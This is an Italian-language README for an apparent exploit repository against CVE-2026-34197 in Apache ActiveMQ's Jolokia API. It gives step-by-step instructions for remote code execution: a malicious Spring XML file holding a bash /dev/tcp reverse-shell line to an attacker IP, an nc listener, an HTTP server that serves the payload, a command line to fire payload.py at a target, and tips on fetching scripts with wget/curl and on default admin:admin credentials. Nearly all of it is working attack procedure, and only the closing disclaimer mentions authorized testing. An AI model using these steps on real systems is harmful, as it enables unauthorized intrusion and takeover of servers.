
Script di exploit per CVE-2026-34197, che prende di mira l'API Jolokia di Apache ActiveMQ per ottenere l'esecuzione remota di codice tramite una configurazione Spring XML dannosa, con capacità di reverse shell.
Questo repository fornisce un ambiente di riproduzione e uno script di exploit per la vulnerabilità di esecuzione remota di codice (RCE) basata sull'interfaccia API Jolokia esposta di Apache ActiveMQ (/api/jolokia/).
Tramite l'operazione addNetworkConnector, si forza ActiveMQ a risolvere un file di configurazione Spring XML remoto creato ad hoc, sfruttando MethodInvokingFactoryBean per eseguire comandi di sistema.
payload.py: script principale di exploit, invia richieste HTTP POST con un nome Broker dinamico.payload.xml: file di configurazione Spring Bean dannoso, contenente il payload del comando per la reverse shell.pip install requests
apache/activemq-classic:6.1.0).payload.xml)Sulla macchina attaccante, aprire payload.xml e individuare la sezione seguente:
<value>bash -c 'bash -i >& /dev/tcp/IL_VOSTRO_IP_SERVER_CLOUD/15000 0>&1'</value>
Sostituire l'IP con l'IP pubblico del vostro server cloud. Se nell'ambiente target non è presente bash, modificare il comando in sh o in un altro metodo di esecuzione in base all'ambiente target.
Sulla macchina attaccante (server cloud), aprire un terminale e mettersi in ascolto sulla porta specificata (es. 15000):
nc -lvvp 15000
Nota: assicurarsi che il security group/firewall del server cloud abbia consentito il traffico TCP in ingresso sulla porta 15000.
Sulla macchina attaccante (nella stessa directory di payload.xml), avviare un server HTTP per consentire al target di scaricare il file XML:
python3 -m http.server 9000
Nota: assicurarsi anche qui che il security group/firewall del server cloud abbia consentito il traffico TCP in ingresso sulla porta 9000.
Sulla macchina locale (o sulla macchina attaccante), eseguire payload.py.
Lo script supporta il passaggio tramite parametri da riga di comando dell'IP:porta del target ActiveMQ (-t) e dell'IP:porta della macchina attaccante che ospita l'XML (-a).
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
Dopo l'esecuzione, lo script genererà automaticamente un brokerName casuale (es. rce_a1b2c3), risolvendo completamente l'errore di conflitto di nomi java.io.IOException : Network Connector could not be registered in JMX.
Se l'exploit ha successo:
python3 -m http.server 9000) mostrerà una richiesta GET 200 per /payload.xml.nc riceverà una connessione di reverse shell dalla macchina target./bin/bash (comune in immagini base minimaliste come Alpine). Modificare il comando di esecuzione in payload.xml in /bin/sh, oppure scaricare uno script tramite wget/curl ed eseguirlo.admin:admin).Questo script e queste istruzioni sono destinati esclusivamente a test di sicurezza autorizzati e a scopi educativi. È severamente vietato l'uso per test illegali non autorizzati. L'utente è responsabile delle proprie azioni.